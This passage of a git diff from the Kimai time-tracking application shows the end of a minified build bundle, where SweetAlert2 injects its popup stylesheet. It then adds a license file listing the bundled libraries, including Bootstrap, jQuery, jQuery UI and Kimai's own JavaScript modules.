o=this._main(this.params);et.promise.set(this,o)}}return r(e,[{key:"then",value:function(e){return et.promise.get(this).then(e)}},{key:"finally",value:function(e){return et.promise.get(this).finally(e)}}]),e}();i(fi.prototype,di),i(fi,hn),Object.keys(di).forEach((function(e){fi[e]=function(){var t;if(si)return(t=si)[e].apply(t,arguments)}})),fi.DismissReason=S,fi.version="10.16.6";var hi=fi;return hi.default=hi,hi}(),void 0!==this&&this.Sweetalert2&&(this.swal=this.sweetAlert=this.Swal=this.SweetAlert=this.Sweetalert2),"undefined"!=typeof document&&function(e,t){var n=e.createElement("style");if(e.getElementsByTagName("head")[0].appendChild(n),n.styleSheet)n.styleSheet.disabled||(n.styleSheet.cssText=t);else try{n.innerHTML=t}catch(e){n.innerText=t}}(document,'.swal2-popup.swal2-toast{flex-direction:column;align-items:stretch;width:auto;padding:1.25em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;margin:0 .625em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container{padding:.625em 0 0}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex:1;flex-basis:auto!important;align-self:stretch;width:auto;height:2.2em;height:auto;margin:0 .3125em;margin-top:.3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:.125em .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(100,150,200,.5)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:5px;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#2778c4;color:#fff;font-size:1em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#d14529;color:#fff;font-size:1em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#757575;color:#fff;font-size:1em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:5px;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close:focus{outline:0;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto}.swal2-validation-message{align-items:center;justify-content:center;margin:0 -2.7em;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}')}},function(e){"use strict";var t;t=8144,e(e.s=t)}]);
\ No newline at end of file
diff --git a/public/build/app.e4243154.js.LICENSE.txt b/public/build/app.e4243154.js.LICENSE.txt
new file mode 100644
index 0000000000..9c90312146
--- /dev/null
+++ b/public/build/app.e4243154.js.LICENSE.txt
@@ -0,0 +1,262 @@
+/*!
+ * Bootstrap v3.4.1 (https://getbootstrap.com/)
+ * Copyright 2011-2019 Twitter, Inc.
+ * Licensed under the MIT license
+ */
+
+/*!
+ * JavaScript Cookie v2.2.1
+ * https://github.com/js-cookie/js-cookie
+ *
+ * Copyright 2006, 2015 Klaus Hartl & Fagner Brack
+ * Released under the MIT license
+ */
+
+/*!
+ * Sizzle CSS Selector Engine v2.3.5
+ * https://sizzlejs.com/
+ *
+ * Copyright JS Foundation and other contributors
+ * Released under the MIT license
+ * https://js.foundation/
+ *
+ * Date: 2020-03-14
+ */
+
+/*!
+ * [KIMAI] KimaiAPI: easy access to API methods
+ */
+
+/*!
+ * [KIMAI] KimaiActiveRecords: responsible to display the users active records
+ */
+
+/*!
+ * [KIMAI] KimaiActiveRecordsDuration: activate the updates for all active timesheet records on this page
+ */
+
+/*!
+ * [KIMAI] KimaiAjaxModalForm
+ *
+ * allows to assign the given selector to any element, which then is used as click-handler:
+ * opening a modal with the content from the URL given in the elements 'data-href' or 'href' attribute
+ */
+
+/*!
+ * [KIMAI] KimaiAlert: notifications for Kimai
+ */
+
+/*!
+ * [KIMAI] KimaiAlternativeLinks
+ *
+ * allows to assign the given selector to any element, which then is used as click-handler
+ * redirecting to the URL given in the elements 'data-href' or 'href' attribute
+ */
+
+/*!
+ * [KIMAI] KimaiConfiguration: handling all configuration and runtime settings
+ */
+
+/*!
+ * [KIMAI] KimaiContainer
+ *
+ * ServiceContainer for Kimai
+ */
+
+/*!
+ * [KIMAI] KimaiCookies: simple wrapper to handle cookies
+ */
+
+/*!
+ * [KIMAI] KimaiDatatable: handles functionality for the datatable
+ */
+
+/*!
+ * [KIMAI] KimaiDatatableColumnView: manages the visibility of data-table columns in cookies
+ */
+
+/*!
+ * [KIMAI] KimaiDatePicker: single date selects (currently unused)
+ */
+
+/*!
+ * [KIMAI] KimaiDateRangePicker: activate the (daterange picker) compound field in toolbar
+ */
+
+/*!
+ * [KIMAI] KimaiDateTimePicker: activate the (datetime picker) field in timesheet edit dialog
+ */
+
+/*!
+ * [KIMAI] KimaiDateUtils: responsible for handling date specific tasks
+ */
+
+/*!
+ * [KIMAI] KimaiEvent: helper to trigger events
+ */
+
+/*!
+ * [KIMAI] KimaiForm: basic functions for all forms
+ */
+
+/*!
+ * [KIMAI] KimaiFormSelect: enhanced functionality for HTML select's
+ */
+
+/*!
+ * [KIMAI] KimaiLoader: bootstrap the application and all plugins
+ */
+
+/*!
+ * [KIMAI] KimaiMultiUpdateForm: handle the multi update checkbox list and form
+ */
+
+/*!
+ * [KIMAI] KimaiPaginatedBoxWidget: handles box widgets that have a pagination
+ */
+
+/*!
+ * [KIMAI] KimaiPlugin: base class for all plugins
+ */
+
+/*!
+ * [KIMAI] KimaiRecentActivities: responsible to reload the users recent activities
+ */
+
+/*!
+ * [KIMAI] KimaiReducedClickHandler: abstract class
+ */
+
+/*!
+ * [KIMAI] KimaiReloadPageWidget: a simple helper to reload the page on events
+ */
+
+/*!
+ * [KIMAI] KimaiSelectDataAPI: <select> boxes with dynamic data from API
+ */
+
+/*!
+ * [KIMAI] KimaiThemeInitializer: initialize theme functionality
+ */
+
+/*!
+ * [KIMAI] KimaiToolbar: some event listener to handle the toolbar/data-table filter, toolbar and navigation
+ */
+
+/*!
+ * [KIMAI] KimaiTranslation: handling translation strings
+ */
+
+/*!
+ * [KIMAI] Wrapper class for loading Kimai app in browser script scope
+ */
+
+/*!
+ * jQuery JavaScript Library v3.5.1
+ * https://jquery.com/
+ *
+ * Includes Sizzle.js
+ * https://sizzlejs.com/
+ *
+ * Copyright JS Foundation and other contributors
+ * Released under the MIT license
+ * https://jquery.org/license
+ *
+ * Date: 2020-05-04T22:49Z
+ */
+
+/*!
+ * jQuery UI Autocomplete 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Keycode 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Menu 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Position 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/position/
+ */
+
+/*!
+ * jQuery UI Unique ID 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Widget 1.12.1
+ * http://jqueryui.com
